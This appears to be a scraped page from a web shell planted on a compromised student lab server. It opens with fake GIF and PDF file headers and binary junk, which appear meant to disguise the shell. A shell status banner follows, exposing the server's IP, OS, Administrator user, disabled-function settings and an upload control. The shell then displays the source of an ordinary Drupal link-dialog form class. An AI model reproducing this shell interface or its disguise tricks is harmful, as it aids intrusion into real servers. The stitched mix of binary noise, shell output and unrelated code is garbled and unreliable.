GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/editor/src/Form/ |
Upload File : |
<?php namespace Drupal\editor\Form; use Drupal\Core\Form\FormBase; use Drupal\Core\Form\FormStateInterface; use Drupal\editor\Entity\Editor; use Drupal\Core\Ajax\AjaxResponse; use Drupal\Core\Ajax\HtmlCommand; use Drupal\editor\Ajax\EditorDialogSave; use Drupal\Core\Ajax\CloseModalDialogCommand; /** * Provides a link dialog for text editors. */ class EditorLinkDialog extends FormBase { /** * {@inheritdoc} */ public function getFormId() { return 'editor_link_dialog'; } /** * {@inheritdoc} * * @param \Drupal\editor\Entity\Editor $editor * The text editor to which this dialog corresponds. */ public function buildForm(array $form, FormStateInterface $form_state, Editor $editor = NULL) { // The default values are set directly from \Drupal::request()->request, // provided by the editor plugin opening the dialog. $user_input = $form_state->getUserInput(); $input = isset($user_input['editor_object']) ? $user_input['editor_object'] : []; $form['#tree'] = TRUE; $form['#attached']['library'][] = 'editor/drupal.editor.dialog'; $form['#prefix'] = '<div id="editor-link-dialog-form">'; $form['#suffix'] = '</div>'; // Everything under the "attributes" key is merged directly into the // generated link tag's attributes. $form['attributes']['href'] = [ '#title' => $this->t('URL'), '#type' => 'textfield', '#default_value' => isset($input['href']) ? $input['href'] : '', '#maxlength' => 2048, ]; $form['actions'] = [ '#type' => 'actions', ]; $form['actions']['save_modal'] = [ '#type' => 'submit', '#value' => $this->t('Save'), // No regular submit-handler. This form only works via JavaScript. '#submit' => [], '#ajax' => [ 'callback' => '::submitForm', 'event' => 'click', ], ]; return $form; } /** * {@inheritdoc} */ public function submitForm(array &$form, FormStateInterface $form_state) { $response = new AjaxResponse(); if ($form_state->getErrors()) { unset($form['#prefix'], $form['#suffix']); $form['status_messages'] = [ '#type' => 'status_messages', '#weight' => -10, ]; $response->addCommand(new HtmlCommand('#editor-link-dialog-form', $form)); } else { $response->addCommand(new EditorDialogSave($form_state->getValues())); $response->addCommand(new CloseModalDialogCommand()); } return $response; } }